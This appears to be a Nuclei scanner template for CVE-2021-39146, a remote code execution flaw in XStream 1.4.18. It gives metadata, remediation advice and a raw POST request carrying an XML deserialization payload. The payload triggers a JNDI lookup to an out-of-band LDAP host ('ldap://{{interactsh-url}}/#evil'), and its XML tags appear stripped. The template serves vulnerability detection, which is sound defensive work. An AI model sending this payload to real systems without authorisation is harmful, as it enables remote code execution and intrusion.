id: CVE-2021-39146 info: name: XStream 1.4.18 - Arbitrary Code Execution author: pwnhxl severity: high description: | XStream 1.4.18 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. Setups which followed XStream's security recommendations with an allow-list are not impacted. remediation: | Upgrade XStream to a version that is not affected by CVE-2021-39146. reference: - https://x-stream.github.io/CVE-2021-39146.html - https://github.com/x-stream/xstream/security/advisories/GHSA-p8pq-r894-fm8f - https://security.netapp.com/advisory/ntap-20210923-0003/ - https://nvd.nist.gov/vuln/detail/CVE-2021-39146 - https://lists.debian.org/debian-lts-announce/2021/09/msg00017.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H cvss-score: 8.5 cve-id: CVE-2021-39146 cwe-id: CWE-434 epss-score: 0.21334 epss-percentile: 0.95927 cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: xstream_project product: xstream tags: cve,cve2021,xstream,deserialization,rce http: - raw: - | POST / HTTP/1.1 Host: {{Hostname}} Content-Type: application/xml test 0.75 525 700 0 zh_CN 0.75 525 700 1 lazyValue javax.naming.InitialContext doLookup ldap://{{interactsh-url}}/#evil test test matchers-condition: and matchers: - type: word part: interactsh_protocol words: - "dns" - type: word part: body words: - "timestamp" - "com.thoughtworks.xstream" condition: or - type: word part: header words: - "application/json" - type: status status: - 500 # digest: 4a0a00473045022100c7ec9749dfec4bbea2deb669ba0874e91a9b3a1bfa7aff38ac33afb78fdecc5b022049e28f9edf641621b44d849ddcd777b3f8077b21632d9ad6158118ed6d911ba4:922c64590222798bb761d5b6d8e72950